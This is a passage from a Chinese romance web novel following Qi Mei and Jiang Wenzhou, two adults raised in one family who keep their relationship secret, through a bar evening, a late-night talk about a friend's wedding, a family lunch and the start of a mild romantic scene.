田乐在忙碌之中抬眼看她一下,笑嘻嘻地问:“你今天是不是碰到什么好事了,这么高兴?” 齐眉微微一愣,想了想,摇摇头:“没有吧?我今天连雪糕都吃不上,只能看别人吃,算什么好事,还有啊,下午去看中医了,提了一袋子药回来,还不知道有没有效,要吃多久呢。” 说完想起来她的中药了,连忙问江问舟:“我今晚开始吃吗?” “……明天再吃也可以。”江问舟迟了几秒才回答道,“那样正好吃到你复诊前一天,今天开始吃是不是得今晚把整包喝完?” 不然留一半隔夜就感觉怪怪的。 巧了,齐眉也是这么想的,她立刻摇摇头:“那还是明天再开始吧,我不喝隔夜药。” 长年累月的朝夕相处,让他们的生活习惯十分相似,即便中间有两三年的分离,也没能完全改变。 晚饭是端到楼上吃的,吃饭时江问舟给她看宋主任发过来的鹦鹉的视频。 “现在它叫喳喳,叽叽喳喳的喳喳。” 齐眉听了忍不住笑:“它很爱说话吗?” “……还行?”江问舟失笑,让她自己看视频,他不好判断。 齐眉点开视频,就听见此起彼伏的鸟叫,仔细一看,是玄凤鹦鹉跟两只虎皮鹦鹉隔着笼子正在吵架,你一句我一句,还飞到笼子的网上扒着要啄对方。 齐眉忍不住惊讶:“哇!好……活泼……” “我听说养它有点不容易,玄凤晚上是要留灯的,不然怕会炸笼,它们胆小,很容易就受惊,有的玄凤做了个噩梦都能吓得炸笼,在笼子里到处乱飞,弄得自己一身伤。” 江问舟说着,把自己碗里的煎三文鱼夹一半过去给她。 “幸好没养在我们自己家。”齐眉听了一阵庆幸,“不然年年一凑过去,就得把它吓飞。” 说着话,很快就把饭吃完了,江问舟把碗筷收起来,和她一起下楼。 楼下已经十分热闹,佟林放了一组动感十足的音乐,让人听了忍不住跟着摇头晃脑。 灯光迷离昏暗,到处都是热情洋溢的气氛。 客人很多,夏天天气热,很多人都愿意来酒吧消磨消磨时间。 齐眉刚下来就被熟客拉住,江问舟借着灯光仔细一看人脸,好家伙,是上回和爸妈还有纪叔叔他们一起来时,那个给齐眉送过玫瑰花的客人! 他的脑海里瞬间拉响警报。 但很快警报就解除了。 因为她听到客人问齐眉:“老板,你国庆节有没有兴趣参加婚礼呀?我要结婚啦!请你们去喝喜酒,去不去呀?” “真的呀?恭喜恭喜。”齐眉先是惊讶,随即赶忙道贺。 只是对于邀请,她遗憾地摇摇头:“国庆节我们这里很忙诶,根本走不开,去不了啦。” 她想说要不等对方办完婚礼,她请他们两口子喝酒? 还没说呢,对方就欢快地点点头:“好!那我们婚礼之前就把朋友约过来这里一起喝一杯,就当是单身派对了,可以给我们留位置吗?” “当然,你们有多少人?”齐眉忙问。 “最多二三十咯,老人家和要带小孩的又叫不出来。”客人说完耸耸肩,呜呜两声,“完啦,我马上就是已婚妇女啦!” 前不久还苦恼为什么男朋友能像戒过赌一样忍着不碰她呢,现在都要结婚了,齐眉忍不住抿着嘴笑起来,拍拍她肩膀。 “恭喜你,要进入人生新阶段啦。” “没区别,我还来喝你的酒。”说着朝齐眉抛个媚眼,拉着她让她看自己的戒指,“结婚要用这枚的……赝品,我们先来品鉴一下叭!” 吧台处几个人头靠头地讨论起戒指来,江问舟将碗筷拜托佟林递进厨房,转身坐在一旁的桌边,托着腮看齐眉的背影。 从他的方向还能看到她的侧脸,在昏暗的灯光里,她脸上的笑蔓延成一片暖调的温柔。 齐眉没有在店里待很久,到了十一点就被江问舟提醒要回去了。 出了门,前后无人,乘着光线昏暗,江问舟伸手握住齐眉的手腕。 “怎么啦?”齐眉回头有些疑惑地问道。 “没什么。”江问舟摇摇头,笑着问她,“刚才那位要结婚的客人的戒指……是什么样的?” “你问这个啊。”齐眉恍然大悟,笑着解释道,“是一朵向日葵啦,镶嵌了黄钻,看起来怪时尚的,又很小清新。” 江问舟点点头,问她:“你也喜欢这种风格?” “你说婚戒吗?”齐眉一点都不觉得聊这个问题不好意思,而是兴致勃勃,“不喜欢,我喜欢那种简简单单的,要两个人能戴一样的款式才好。” 江问舟笑着抬手揉揉她后脑勺。 回到家也已经晚了,等洗漱完躺下,更是夜深,齐眉整理好头发爬上床,躺下后往旁边一滚。 伸手精准地摸上江问舟的腰,动作熟稔极了。 江问舟被摸得一哆嗦,脚尖都下意识绷紧起来,“……怎么了?” “今晚是……聊天局,还是别的?”齐眉精神奕奕地问道。 第44章 第四十四章(二合一)在…… 在某件事上,齐眉一直都比江问舟主动,这种主动建立在她对江问舟的探索和征服欲之上。 ——她喜欢看到他被自己拉入欲海之后不能自已的模样,喜欢看他因为自己的某个微小动作就神色变化,让她有种掌控了他的一切的感觉。 虽然往往更投入、能坚持到最后的人是江问舟,她经常到半路就说累了,催他快点。 江问舟按住她蹭自己腰侧的手,断然拒绝她话语里隐藏的求欢意图:“我们还是聊聊天吧,你有没有什么同学的近况想知道的?” 齐眉眨眨眼,从他掌心下抽回手,改为搂住他胳膊。 凑到他耳边小小声问道:“舟哥,你跟我说实话,是不是真的……嗯、就是……有点心有余而力不足?你跟我,我不笑话你,也不嫌弃,我保证……” 保证你个大头鬼,江问舟忍不住翻了个白眼,捏住她的脸往一边扯。 没好气道:“你还挺有文化,成语用得那么好,真不愧是高考语文一百四十分的优秀毕业生。” 齐*眉哼了声,伸手捏他耳朵:“阴阳我?” 江问舟偏头要躲,却和她滚到了一起,他故意伸手去捏她腰上的痒痒肉,激得齐眉搂住他的脖子笑个不停,最后还把腿盘在了他的腰上。 房间里的气氛难得如此欢快又热烈,江问舟一手撑在床上,一手搂住齐眉的腰,让她挂在自己身上。 突然忍不住跟着笑出声来,问她:“西西,我们现在这个动作像不像大猴子带着小猴子?” 齐眉一愣,旋即反应过来,笑着拱拱他脖颈:“那你是猴妈妈啊?” 江问舟好笑,胳膊一弯,齐眉就被他压在了床上。 “……你好重啊。”她半晌叹口气,吐槽道。 江问舟又捏捏她的腰,笑着揶揄她:“以前你可没这么说过。” “肯定是你这两年变胖了。”齐眉哼哼两声,在他身下蛇一样扭来扭去,“……舟哥?江问舟?” 江问舟被她蹭得浑身都燥热,血液里好像在顷刻间就多出一点什么,在不安分地涌动、翻滚。 他叹口气,低头张口咬住齐眉的鼻尖,用牙齿轻轻磨了两下。 “……别闹了。” “我哪有。”齐眉闭上眼,有些不高兴了。 江问舟松开她的鼻尖,侧头用脸蹭蹭她额头,温声安抚道:“不要着急,西西。” “只有你一个,从头到尾都只有你一个,所以不用这么着急,用这种方式去确认我是不是有过别人。” 他的声音温和,甚至带着一点纵容的味道,齐眉听了却浑身一僵。 片刻后她回过神来,尴尬至极地往他怀里钻,像是要整个人蜷缩起来似的。 她觉得好丢脸,根本不需要走到那一步,她觉得自己现在就已经被剥光看透了。 但该嘴硬的时候还是得嘴硬,“我没有……” “好,没有。”江问舟从善如流,笑着翻身躺会床上,让她趴在自己身上,“就当是我跟你讲条件,这样吧,你好好吃药,吃完药我们去复查看看,有改善我们就……好不好?” 他捏捏齐眉的脸,语气和神色变得认真起来:“家里没有计生用品,万一出意外,你受苦,我挨打,两败俱伤。” 孙茂芸和江眀琮包对他进行男女混合双打的。 虽然知道他说得很有道理,但齐眉还是忍不住撇嘴:“你这人怎么这样啊,这种事也能拿来谈条件?” 江问舟揉她后脖颈,笑得眼睛都弯了,但语气却不是那么回事:“我跟你学的,你忘了?” 早年间他只有一个微信账号,有时候会加病人的联系方式,偶尔病人有个什么问题要咨询也方便,一直也没出什么问题,直到有一次,一位病人非要把她女儿介绍给他当女朋友,在他告知对方自己已经有对象并且坚定拒绝的情况下,还说什么认识一下也可以、人往高处走、做做选择题之类的话,甚至还让她女儿添加自己的联系方式。 齐眉那时候是有冷不丁就看他手机的习惯的,偏就这么巧,看到了这些信息,当即气炸,先是生气质问,但最后眼泪都掉下来了,他赶紧解释,还在她的监督下把对方拉黑删除,费半天功夫才把人哄好。 平安无事地过了两天,他以为没事了,结果到那天晚上要睡的时候,都只差临门一脚了,齐眉突然说:“你起开,我不要了,我讨厌你。” 声音气呼呼的,他觉得莫名,问这是怎么了,她也不正面回答,只说明天就搬回宿舍去住,还阴阳怪气道:“不要挡着你认识新朋友,做人生选择题的路呀。” 他当即听懂,这是前面的事还没过去呢。 那次齐眉真的回宿舍住了的,他每天除了工作和实验,只要有一点时间,就给她发信息,下班就去逮人,哄了快半个月才把人哄回来,焦头烂额到觉得人生无亮。 后来他启用另一个号,也尽量不给私人联系方式,给了也会说明这是自己的工作号,交代有问题一定要在白天联系他,下班以后他是看不到的。 “那次真是好大的教训。”江问舟又捏捏她后脖颈,“回来了还要看我表现,要通过你考核才肯让我碰你,也不说个具体时间,我现在比你好多了。” 齐眉被他捏得忍不住直缩脖子,嘟囔着反驳道:“那次本来就是你不对,她那是骚扰,是破坏别人的家庭,这么不道德,你还不立刻删了她,是要留着过清明吗?” 都过去这么久了,她说起来还是很不高兴。 他只能是她一个人的。 江问舟看着她脸上的愤愤,笑着嗯了声:“是我错了。” 齐眉哼了声,往旁边一滑躺回床上,接着侧身,把腿挂在他腰上。 半晌才有些闷闷地问:“蒋乐亭结婚没有?” 蒋乐亭是她同学了八年的室友,当年齐眉她们班是全员直通本校研究生的,另外两位保研,她和蒋乐亭是因为不大想选保研的专业,才选择考研,当时几个人说好,以后不管谁结婚,另外三个都要到场,能当伴娘最好,当不了伴娘也要当娘家人。 可齐眉却跑得那么干脆利落,你就说这人狠不狠心吧。 江问舟有些无奈地捏捏她脸,应道:“去年三月份结的,我帮你随份子去了,四个人就缺你一个,齐西西你完了,等着你好姐妹什么时候来容城追杀你吧。” 齐眉理亏,不敢吭声,贴在他怀里抠他睡衣的衣扣。 半晌才期期艾艾地问:“……婚礼现场怎么样啊,一定很热闹吧?” “热闹啊,你们班同学去了不少呢,你们辅导员也去了,看见我还问你怎么没来,我说你上班请不出假。”江问舟说着,背过手去摸自己的手机。 一面解锁手机去登录云相册,一面跟她说着婚礼,“是在申城办的,双方父母都来了申城,全部仪式在酒店完成,那家酒店我们去过的,在宏光广场旁边,我们去吃过自助,记不记得?” “记得,好不容易抢到的优惠价嘛。”齐眉点点头,看向他的手机屏幕。 看他登录相册,点开一个标注是婚礼的文件夹。 “还有视频,要看吗?但是时间有点长,从仪式一开始到结束。”江问舟问她。 齐眉稍稍一犹豫:“……我跳着看吧。” 新娘的婚纱很简洁,缎面的鱼尾裙,没有戴头纱,头上是白色的铃兰花花环,显得清爽又清新,挽着父亲的胳膊走向等候在另一头的新郎时,满眼都是幸福又期待的璀璨笑意。 “真漂亮。”她低声说道。 江问舟嗯了声,和她一起看着视频,又说:“酒席还不错,有个烤乳鸽很好吃,跟容城大酒店不相上下。” 齐眉很喜欢容城大酒店的烤乳鸽,每次去那里吃饭都必点的。 “你随了多少份子钱?”齐眉问。 “1888,还可以吧?” “挺好的,这个数字好听,意头好。” 江问舟又捏捏她脸,失笑:“我就知道你会这么说。” 齐眉拉着进度条把婚礼仪式的视频看完,又去看其他照片,看见寝室三个人一起的合照,眼睛忽然一酸。 “后面还有一个视频,是特地录给你的,你看看。”江问舟忽然道,还抬手摸了摸她的脸。 “……我没哭。”她立刻嘟囔。 江问舟说我知道,一本正经地配合她:“我是摸摸你脸是不是被我捏得两边不一样大了,一会儿换另一边捏捏。” 齐眉想说他讨厌,却又忍不住吸了吸鼻子,连忙转移注意力去看视频。 视频时长很短,只有半分钟,是三位室友一起录的,但发言的只有蒋乐亭。 “天底下最傻的姑娘阿眉,你还好吗?说好了一定参加彼此的婚礼的,就你派家属来,下次不许这样了哈。” “还有啊,我们都很好,你也要好好的,不管我们以后还能不能见面,能不能联系上,你一个人也要好好的,知道吗,有事要帮忙记得跟我们说,别抹不开脸,等我们到时候有空,就去容城找你玩。” 另外两个人就在一旁深以为然地用力点头。 齐眉这下再也忍不住,眼泪瞬间涌出眼眶,转身伏在江问舟的胸口,小声啜泣几下。 夏季的睡衣单薄,江问舟很快就察觉从左边胸口处传来一阵湿意,温温热热的。 那个位置是哪里呢,他想起来以前教齐眉心脏听诊,指着自己这位置告诉她,这里就是二尖瓣区,是心尖搏动最强点。 也不知道她此刻能不能听见他心里的叹息。 江问舟拍拍她的后背,什么也没说,不会问她是不是后悔,是不是难过,没有必要的,事情都已经过去了。 只是两三年而已,一千个日夜都不够,只是人生长路上一段很短很短的距离,离开一下也无所谓,最后回来就好。 他拍着齐眉,直到觉得她已经哭得够久,不能再哭,这才说起别的事转移她的注意力:“还有伴手礼,我也给你带回来了。” 齐眉一愣,啜泣声停顿下来,但还是没吭声。 过了一会儿,才像是终于平复好情绪,声音有些沙哑地问他:“是什么?” “一套咖啡杯,印着你们四个的卡通头像,是姐妹团专属的伴手礼,还有所有伴手礼盒里都有的巧克力,我帮你吃掉了,我帮你给了份子钱,吃你一盒巧克力,不过分吧?” 他的语气轻松,明显是有意在开玩笑。 齐眉吸吸鼻子,嗯了声:“都给你吃。” “谢谢西西。”江问舟笑着,低头去吻了一下她的头顶,叹气庆幸道,“幸好……不然我还不知道什么时候,找什么理由,才让你看到这些照片和视频,还有该给你的伴手礼。” “所以带回来了吗?”齐眉立刻问道。 “带过来了,就在你放杯子的橱柜里,这几天你忙,可能没看到。” 齐眉一愣,旋即放开他,翻身要起来,“我去看看。” 江问舟连忙一把拽住她睡裙后领,叹气道:“明天再去,杯子又没长腿,还能跑了么。” 齐眉被他拽回了怀里,干脆听劝,张手紧紧抱住他。 她侧耳听着江问舟平稳有力的心跳,心情渐渐恢复正常。 “这事是不是比那什么更重要?”过了一会儿,江问舟忽然问道,“你还有没有什么想知道的?” 齐眉得承认他是对的,低低地嗯了声。 想了想才问:“你最近见过我老师吗,她好不好?” “回去开会的时候见过,还可以,意气风发。”江问舟记得跟她说过,于是想了一下,说了点没跟她说过的,“前天看到她发的朋友圈,去江城开会了,一起去的还有你大师姐杨宁主任,你要不要看看朋友圈?” 俩人就在黑漆漆的夜里一起翻江问舟的朋友圈,了解那些旧友的近况。 最后江问舟说:“改天登一下你的旧账号吧,你把我找回来了,也别落下他们,好不好?” 纵使在那个城市曾经收到过伤害,有非常不愉快的经历,但也有很多值得珍藏的人和事。 齐眉缩在他怀里,沉默半晌,最后还是点点头应了声好。 ————— 前一天晚上聊得太久,第二天又不用急着上班,起来得就晚,齐眉醒的时候,旁边已经没人了。 卧室里光线半暗,十分安静,她从这光线亮度判断大概已经是九点多或者十点左右。 但反正不用上班,还可以多睡会儿,于是她又把眼睛闭上。 还没等睡意再次酝酿出来,就听见卧室门被推开的声音响起,紧接着是脚步声,同时感觉到身旁的床垫明显下陷。 “醒了没有?”江问舟仔细看看她的眼皮,看见动了两下,便伸手去摸她颈窝,“醒了就快起来,吃完早饭要回去吃午饭,妈刚给我打视频电话我都没敢接。” 万一被孙茂芸认出来是她这儿,再仔细一问,知道她还没起,那算是完啦。 妹妹还没起来,你是怎么进去的? 再是一家人,也已经是出去住了,是独立的人了,严格来说就算是两家人,你当哥哥的,有妹妹家的钥匙,不好吧? 不是不能,是多少显得不那么有分寸感,有点过界。 江问舟当然可以编一个理由,但他不太想,现在说的每一句谎话,都会是日后孙茂芸锤他的证据,他已经够多罪证了。 齐眉一听这话,立刻睁眼从床上爬起来。 看她急急忙忙要下地,一脸的紧紧张张,江问舟有些哭笑不得:“但是也不用这么急。” 说完扯了一下她睡裙的裙摆,睡了一晚上,睡裙皱得跟咸菜一样。 齐眉嗯嗯应好,却低头快步出了房门,江问舟耸耸肩,起身整理被褥。 空调冷气让被子上最后一缕余温冷却,齐眉换好衣服,梳好头发化好妆,出了房门直奔餐桌。 江问舟已经将早餐端了出来,是用她冻在冰箱里的贝果做的三明治,煎蛋、培根、生菜和番茄,看起来色彩和营养都很丰富。 配餐的水果当然就是做三明治剩下的番茄,切成小块用白糖拌一拌就是了。 齐眉觉得奇怪,“一个番茄做两个三明治,怎么还能剩这么多。” “我没加番茄。”江问舟应道。 齐眉立刻噫了声,对他指指点点:“你这么挑食。” “我吃话梅小番茄也一样的。”江问舟脸不红心不跳,还跟她说,“没有了,记得再给我做一点。” 齐眉:“……”指指点点.jpg 但她的吐槽还没来得及说出口,就被江问舟端过来的咖啡吸引。 准确地说是咖啡杯。 咖啡杯是骨瓷的材质,白色为底,圆柱体的杯身上画着四个四个Q版的少女头像,齐眉凭着发型认人。 “这个短头发的是蒋乐亭,喜欢扎丸子头的是姚敏,扎高马尾的这个是徐丹若,对吧?”她抬头看向江问舟,寻求他的肯定,“我没认错吧?” 江问舟失笑:“你室友,你问我,不合适吧?” 说完指指她没说的那个头上扎着红色蝴蝶结的头像,笑道:“但我认得出,这个是你。” 齐眉便抿着唇笑起来,端起咖啡杯看碟子上的图案,碟子边缘围绕的还是这四个头像,但表情却不一样了。 有的笑眯眯,有的歪着头,有的嘟着嘴,齐眉呢,她在wink,看起来可甜了。 “这是谁画的呀?”她边看边笑,还使劲眨了两下眼。 江问舟摇摇头:“我没问,不过以后有机会,你可以自己问问。” 齐眉低头看着碟子上的头像,半晌认真地点点头。 “过两天就问。”她说。 江问舟没说是真的才好之类有些丧气的话,而是只应了声好,说:“有空再问。” 总要给她一点蓄积勇气的时间,也要允许她反悔。 我们西西已经很勇敢啦。他亲昵地揉揉齐眉的头顶。 “尝尝看我做的咖啡,和你们店里专业咖啡师做的差多少?” 齐眉低头,看着咖啡杯里没有装饰的奶泡表面,用力点点头:“奶泡看起来很绵密,肯定好喝。” 说完低头喝了大大一口。 江问舟被她嘴边一圈白色逗得笑出来,“慢一点,妆花了。” 话音刚落,手机响了,一看,孙茂芸打来的。 幸好不是视频电话,江问舟心里嘀咕一句,接通电话。 “你们什么时候能到家呀?” “……十二点半?”江问舟看一眼齐眉,实话实说,“西西还在吃早饭。” 电话对面孙茂芸哦了声,说:“那你们回来的时候,顺便去家里一趟,小区门口的快递驿站那儿帮我拿个快递。” “您怎么快递寄那边去了?”江问舟有些惊讶,一面问一面往厨房走,去把齐眉的药从微波炉拿出来。 “哎呀,不小心写错地址又没发现嘛,我说怎么那个快递那么久没到,结果一看,前天就有信息让我去取快递啦。” 江问舟听完就应好,还问:“还有什么需要的?我们顺便带回去。” 这边电话讲完,齐眉的早饭也吃完了,接过江问舟递过来的保温杯,问道:“我们要回家那边吗?” 说的是宣化路那边的老房子。 “帮妈拿个快递。”江问舟点点头,笑道,“走,我们去买牛肉酥饼。” 齐眉突然想起来他第一次去机场接她下班,那天正好是家里搬家第一天,他也正好给她带了一个牛肉酥饼。 “哥……”她叫了江问舟一声,顿了顿,又变成,“江问舟,我问你个事。” 江问舟被她混乱的称呼逗笑,吐槽道:“又叫哥,又叫全名,不知道的还以为这除了我和你还有一个人呢,你别吓人。” 齐眉一噎,有些讪讪地嘟囔:“我这不是怕在家叫漏嘴么。” 说着低头一小口一小口地抿着温热的药汤。 “西西。”江问舟叫了声她的名字。 她刚抬起头,就见他的脸在面前倏地放大,冷不丁被吓了一跳:“……啊?” 江问舟正弯腰低头看着她,脸再向她靠近了一点,鼻尖已经若有似无地蹭到她的,定定地直视她的双眼。 语气半是认真半是玩笑:“自然一点,太刻意保持距离才会露马脚,你别忘了,爸爸是做什么工作的。” 齐眉又被他吓了一跳,一哆嗦,紧接着就被自己的口水给呛得咳嗽起来。 一声接一声根本停不下来,咳得脸都红了。 这下轮到江问舟被吓一跳了,他连忙一面道歉一面帮她拍背,却被齐眉一把推开。 她说不出话,只好气呼呼地冲他挥挥拳头。 “……对不起对不起,吓到了是不是?”江问舟想笑又不敢笑,只能一把将她抱住,拍拍她的背。 一直到出门,齐眉都没跟他说一句话,直到上了车,江问舟问她,刚才在家里的时候,她原本要问他什么。 齐眉这才侧头乜他一下,哼了声,别过头去,一副不想搭理他的样子。 但不到半分钟,又把脸转过来了。 那点生气到底是抵不过好奇心。 “你第一次去机场接我的时候,也给我带了牛肉酥饼。”她说。 陈述的语气,没问什么,但江问舟还是听懂了,嘴角浮现出一丝笑意,嗯了声。 “空着手去,我怕不知道怎么跟你说话。”他摇摇头失笑,“带个你喜欢吃的酥饼,就有了事可以做,没话说呢,就问你吃没吃早餐,给你带了,总好过见到面,除了一句我来接你,就没别的话可以说。” 那样太尴尬了,他说。 齐眉越听眼睛睁得越大,半晌才小声说了句:“原来是这样啊……” “不然你以为是什么?”江问舟笑着哼了声,“后来我看你吃得慢吞吞,好像有点为难的样子,还有点后悔,你是不是已经吃过早饭了,所以吃得那么为难……” 说着他扭头飞快瞥她一眼。 齐眉靠在车门边上咬着嘴唇笑,抓抓脸,解释道:“没有吃,就是……那个酥饼太酥脆了,有声音,我又觉得你好像不太高兴,就……” 话没说完,目光已经开始左右游移了。 江问舟一时哭笑不得,这是什么小动物行为,凭本能觉得有危险,所以尽量降低自己的存在感,避避风头是吧? “你八岁第一次见我,都没这么小心翼翼。”半晌,他没好气地吐槽一句。 齐眉吐吐舌头,接着被自己逗笑,抬手捂住脸哈哈笑出声来。 江问舟被她的反应逗得忍俊不禁,问她:“是不是被自己蠢笑的?” 齐眉不吱声,好半天才缓过来,屈着手指揩干净笑出来的眼泪,摇摇头说不是。 她扭头看向江问舟的目光里有很坦然的笑意:“其实是因为心虚和害怕,才会那样。” 潜意识里觉得自己曾经深深伤害过江问舟,又害怕他回来以后,自己就会失去这个家,所以才会不由自主地露出畏畏缩缩的样子。 好像那样就会激发他的恻隐之情似的。 江问舟听完不由得沉默,过了好一会儿才说:“你还是现在这样比较好。” 齐眉托着腮,笑眯眯地嗯了声,没有再继续这个话题。 盯着车窗外掠过的建筑和川流不息的人车看了一会儿,齐眉觉得有些无聊,伸手打开音响,在歌单里找到一首歌,点击播放。 江问舟没注意她选了什么歌,等听熟悉的声音唱到“你从情劫亦能学懂开解与宽恕”时,才惊讶地抬头看一眼显示屏。 看清歌名以后他说了句:“以前听不懂这首歌。” 齐眉歪头看他,刚想问现在听懂了吗,歌曲已经进入她最熟悉的副歌部分:“真想不到当初我们也讨厌吃苦瓜,今天竟吃得出那睿智愈来愈记挂,开始时捱一些苦,栽种绝处的花,幸得艰辛的引路甜蜜不致太寡……”[1] “现在听懂了,但是……”江问舟的声音再次慢悠悠传来,“我觉得没什么波折的甜蜜也挺好的,至少不熬人。” 诶,这个话题有意思,齐眉一下来了兴趣,抓着他的话问:“那有没有一种可能,太顺利了,所以会觉得很乏味,人到中年的时候又觉得想感受一下跌宕起伏的激情?” 江问舟仔细想想,“不能保证百分百没有这种可能……” “哦!原来你是这样的人,我真是看错你了!”话还没说完,就被齐眉一口打断。 他好像看到一个举着大锤对他跃跃欲试的Q版小人,迫不及待地冲上来要给他一下。 一时哭笑不得:“我还没说完,你能不能让我说完,再给我定罪?” 齐眉抿着唇装傻。 “但是维持一段关系,或者说,维持一个家庭,除了伴侣之间的爱情,还要有责任,和对彼此的信任,不是说爱到最后都凭良心么。” 江问舟说到这里,趁着车子转弯的功夫,顺便看隔壁一眼,敲打某人:“你在这点上做得非常不好,希望你尽快改正。” 齐眉立刻转头看向车外,不跟他说话了。 车子转过这个弯,很快就到了江家之前住的小区门口,江问舟在门口的停车位停好车,交代齐眉:“你别下去了,我拿了东西就回来,外面晒。” “那你拿个伞。”齐眉忙道,可话音刚落,人已经出去了,只剩一声关门声。 她撇撇嘴,按下车窗,趴在窗边看江问舟的背影。 他进小区门的时候,齐眉就看见他被一个老邻居拉住,也不知道聊了什么,他往车这边指了指,邻居就看过来,冲她笑笑。 等江问舟拿到快递回来,她便好奇地问:“柳阿姨跟你说什么啦?” “问怎么突然回来这边,爸妈是不是真的去乡下住不回来了,还有……”江问舟系好安全带,才继续道,“问我们家房子租不租,我说暂时没这个打算。” 齐眉也摇摇头:“租出去好麻烦的,万一碰到不好的租客,房子就搞坏了。” 她接着问:“干妈买了什么东西?” “……咸鸭蛋。”江问舟应道,嘴角一抽。 齐眉眨眨眼,突然笑了声:“万一到时候她让我们那些回去吃……哇,还不如等我们回来的时候再取呢。” 江问舟一噎:“这么会说,你不要命啦?” 齐眉嘻嘻笑出声来,靠在车窗边,提醒他别忘了买牛肉酥饼。 那家店就在小区路口对面,车子开出去,在门口停下,按下车窗同老板娘打招呼,一面寒暄几句好久不见,一面直接发红包给对方。 ——吃得久就是这样,都有联系方式的,一如以前他们还在学校,校门口的炒面吃多了也加了老板信息,隔三差五就打听老板什么时候过来。 回到家已经是十二点四十,刚进门,就听孙茂芸喊他们洗手。 “快点,今天喝凉瓜排骨汤,解暑啊。” 凉瓜,是容城人对苦瓜的惯常称呼。 齐眉听到这话,扭头挑着眉看一眼江问舟,哼着“真想不到当初我们也讨厌吃苦瓜”,小跑着奔进饭厅。 江问舟:“……”挑衅我是吧:) 第45章 第四十五章(二合一)(解锁)赌赢了…… 吃完饭,孙茂芸就说天气太热了,都去吹空调午睡吧,一家人也没聊几句天什么的,就各自回房了。 为了省电,年年和金金要跟大人走,江眀琮把年年叫走了,金金在原地看看爷爷奶奶和妹妹,又回头看看爸爸和姑姑(?),咪呜一声。 它似乎有点纠结,不知道该跟谁走。 江问舟索性冲它招手:“过来,午睡去了。” 听不听得懂人话不要紧,看得懂手势就行了,它立刻朝江问舟跑去。 却被齐眉截胡,拦腰抱起,被叉着咯吱窝举起来。 齐眉金金金金地叫它名字,一声接一声,笑嘻嘻的,逗得江问舟都忍不住笑。 他们的房间在楼上,先路过江问舟房间,他没进去,缀在齐眉身后,试图跟着进她房间。 但前脚刚伸进门口,就被齐眉转身一把堵住:“不行,你回你那边睡。” 她压低声音,生怕被人听见。 江问舟往前一挤,将齐眉怀里的猫给挤得掉了下去,她惊得有些不快地喂了声。 “没事,妈不会上来的。”他拉住齐眉的胳膊,把她圈进怀里,低头亲一下她的额头,语气有些央求,“让我进去,好不好?” “不好。”齐眉立刻挣开他的胳膊,用力把他往外面推,“万一呢?小心驶得万年船,你赶紧走。” 而且别墅是挑空的客厅,也就是说孙茂芸这会儿要是站在客厅里仰头往上一看,八成能看见他们正在拉拉扯扯。 所以齐眉就很担心,心头危机感十分重。 可江问舟脚下像生了根,站得牢牢的,她根本推不动。 正准备直接把他撞出去,就见他突然弯腰,抱起蹲在脚边舔毛的金金,举到她面前,低声问道:“我给你行个贿?” 金金一脸茫然地和齐眉对视上了,大眼睛圆圆的,看起来要多可爱有多可爱。 齐眉心里暗骂这人狡猾,一把将猫夺过来,然后用肩膀把他顶出去。 “猫我就收下了,你赶紧走。” 好家伙,光收钱,但不给办事! 江问舟哭笑不得着被推了出去,站在小客厅里看着她的房门满脸无奈。 可过了一会儿,他又挑挑眉,笑着转身朝自己房间走去。 门后齐眉看了一眼门锁,正在犹豫要不要落锁,怀里的金金就有些挣扎了,她连忙转身将它放下。 然后去找湿巾,又把它抱了回来,“擦擦手和脚我们再睡觉,好不好?” 金金在她怀里仰头看她,张大嘴巴舔了舔嘴。 一人一猫刚睡下没多久,齐眉迷迷糊糊间听见好像门开了,还没完全反应过来,床垫下陷,身边多了一个人。 温热的怀抱瞬间笼罩住她,下一秒,湿热的吻落在她的唇瓣,她刚要张口,就被一丝轻微痛意猝不及防地袭击。 齐眉瞬间清醒过来,睁眼推开他,有些不满地抗议:“你干什么咬我!” “你说呢?”江问舟捏住她的下巴,神色似乎有些严峻,“西西,下次不准再推开我。” 齐眉一愣,旋即反应过来,一把握住他手腕,努力解释:“我没有……我是怕干爸干妈刚好发现嘛,又没有说不让你……你、你现在不是进来了吗……” 江问舟目不转睛地看着她,眼神有些委屈:“可是你刚才赶我走的时候,特别绝情。” 他的眉头随着他的话音皱起来,仿佛皱起了一阵惶恐。 “江问舟……”齐眉讷讷,伸手探向他的眉头,却在半空停顿,过了几秒,有些颓然地放下,“对不起……” 她的声音呢喃,面上神色既纠结,又盈满愧疚。 江问舟执起她的手,在她的手腕内侧亲了一下,唇瓣贴在她的掌根,似乎在感受她跳动的脉搏。 他温热的鼻子全都落在那一点上,让齐眉逐渐觉得有些燥热。 没等她抽回手,江问舟就动了,他细密的吻像雨点一样落在她手心里,撩人的痒意顺着皮肤脉络迅速蔓延开去。 齐眉觉得自己浑身发软,身体里的力气随之迅速溃散,最后一点力气,竟然是汇聚在紧绷的脚尖,大概是因为过于用力,她开始不自觉地颤抖。 江问舟察觉她身体的变化,抬起头来,目光炯炯地凝睇住她。 齐眉不好意思极了,为了缓解尴尬,立刻先发制人:“……你、你是不是在……在笑话我?” “当然没有。”江问舟否认道,眼睛里无辜的目光似乎波光粼粼。 “那你在看什么?”齐眉继续追问。 江问舟笑起来,神色坦然:“看我们西西好看,像最漂亮最让人垂涎的那颗荔枝,我想剥了你的壳。” 齐眉都不用细想,秒懂这话的意思,脸孔瞬间涨红。 “你、你在说什么……什么鬼话……” 这都什么虎狼之词?! 她的目光飘啊飘,四处乱飞,但就是不敢落在江问舟脸上。 这话的内容是不是有点下流?她突然想到那天早上,他吐槽她要隐瞒关系时说的话,给他当男人真是惨过做鸭。 呃、换个人说这种话,她绝对要翻脸,抽上去都有可能,可能江问舟说出来,她就没办法了。 “不能说吗?”江问舟见她目光闪烁,便追着问道。 他时常觉得男女之间的试探,就像是舞池里一支热烈的探戈*,你来我往,进退拉扯。 齐眉气焰一弱,他立刻便占据了主动。 甚至大有步步紧逼的意味,齐眉觉得自己像是被他逼到了墙角,索性瞪他一眼,没好气地大声道:“是,就是不能说!” 接着又嘟囔:“大白天的说这些让人误会的话,讨厌。” 晚上主动撩拨他的是她,现在觉得他讨厌的还是她,这人怎么能这么双标,江问舟被她逗笑,伸手捏住她的嘴巴。 齐眉呜呜两声,伸手推他,在床上扭来扭去,膝盖还屈起来撞向他的下腹。 江问舟神色一顿,咬着牙问她:“故意的?” 她便学他刚才的模样,茫然又无辜地看着他,等他松手,才眨眨眼问道:“怎么了?” 江问舟顿时被她气笑,干脆低头吻过去。 炙热的吻落在齐眉的唇上,江问舟的舌尖熟练地用舌尖挑开她的唇缝,在她还没完全反应过来的时候,长驱直入,扫过她口腔的每一寸缝隙。 最后亲昵的和她卷在一起。 